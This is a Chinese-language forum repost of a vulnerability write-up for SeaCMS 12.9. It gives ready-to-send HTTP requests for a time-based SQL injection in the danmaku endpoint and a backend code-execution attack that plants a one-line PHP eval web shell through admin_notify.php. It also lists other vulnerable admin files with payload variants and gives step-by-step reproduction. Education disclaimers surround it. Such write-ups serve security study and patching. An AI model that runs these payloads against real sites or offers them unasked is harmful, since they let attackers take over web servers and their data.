SeaCMS_12.9 sql注入漏洞+RCE

打印 上一主题 下一主题

主题 883|帖子 883|积分 2649

侵权声明
本文章中的所有内容(包罗但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地认可该内容的版权归原作者所有。
如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [360619623@qq.com]。我们将在确认后的合理时间内采取适当措施,包罗删除相关内容。
感谢您的理解与支持

POC


sql注入
  1. GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list  HTTP/1.1
  2. Host: demo.com
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  6. Accept-Encoding: gzip, deflate, br
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: keep-alive
复制代码
RCE(后台的)
  1. POST /fwmblp/admin_notify.php?action=set HTTP/1.1
  2. Host: demo.com
  3. Content-Length: 68
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://demo.com
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  10. Referer: http://demo.com/fwmblp/admin_notify.php
  11. Accept-Encoding: gzip, deflate, br
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; xinhu_mo_adminid=yy0nm0mjj0mjn0vy0mmj0vk0mmn0mjm0iq0mjz0mjz0iv0vi0iu0nv07; xinhu_ca_adminuser=rock; WS_ADMIN_URL=ws://demo.com/notice; WS_CHAT_URL=ws://demo.com/msg; PHPSESSID=cht2r7hck3t75nu2t0k8ln3his; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D
  14. Connection: keep-alive
  15. notify1=%22%3B%40eval%28%24_POST%5B1%5D%29%3B%22&notify2=1&notify3=1
复制代码
分析


SQL注入

根据poc找到漏洞位置

这个else if判断的是ac参数的内容此时第一个参数起作用。
$id = $_GET['id'] ?: succeedmsg(-1, null);$type = $_GET['type'] ?: succeedmsg(-1, null);
这两句都是通过get哀求获取参数。下一句可以看到删除弹幕()是一个函数并且把id参数出入了继续跟进该函数。(还是第一次看到用中文做函数名的)

继续更进删除_弹幕数据()函数

可以看到if语句是判断type参数的值是否为list此时第三个参数起作用。进入判断里,前两句将id参数进行拼接,后两句实验刚拼接完的sql语句,形成漏洞。这里有两个实验语句的地方都是拼接了id参数,但是只用一个实验了sql语句,也就是第二句。

RCE

同样的根据poc找到文件位置

可以发现从post哀求中获取的notify1,2,3都是直接拼接在如果可以传入一句话或是其他有害语句就会形成rce漏洞,但是需要闭合前面和背面的双引号。拼接完语句后保存到了根目录下的/data/admin/notify.php文件中,由于该写入文件没有做权限校验,所以无论是否登录都可以访问。但是写入需要登录。
我又找了几处相似的就不分析了,漏洞形成的原理都相同
fwmblp\admin_ping.php需要写入的和上面分析的相同
fwmblp\admin_weixin.php需要写入");eval($_POST[1]);("
fwmblp\admin_smtp.php需要写入的和上面分析的相同
fwmblp\admin_ip.php需要写入的和上面分析的相同

复现


sql注入



RCE

1、首先找到上传位置。用户 -> 会员消息关照 -> 关照1,2,3(任选)

2、写入一句话";@eval($_POST[1]);"

3、访问一句话保存的文件并对其使用


参考

sql注入
漏洞复现-CVE-2024-29275 | CN-SEC 中文网
POC-EXP/【CVE-2024-29275】海洋CMSSQL注入漏洞/CVE-2024-29275.py at a1f364d0534810a7db9a65a24f97cf67d948f444 · LaoW1823/POC-EXP (github.com)
rce
CMS_vulnerability-discovery/SeaCMS_v.12.9.md at main · XiLitter/CMS_vulnerability-discovery (github.com)
免责声明
本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。
使用本博客内容而导致的任何违法活动或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。
我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。
感谢您的理解与支持。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

知者何南

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表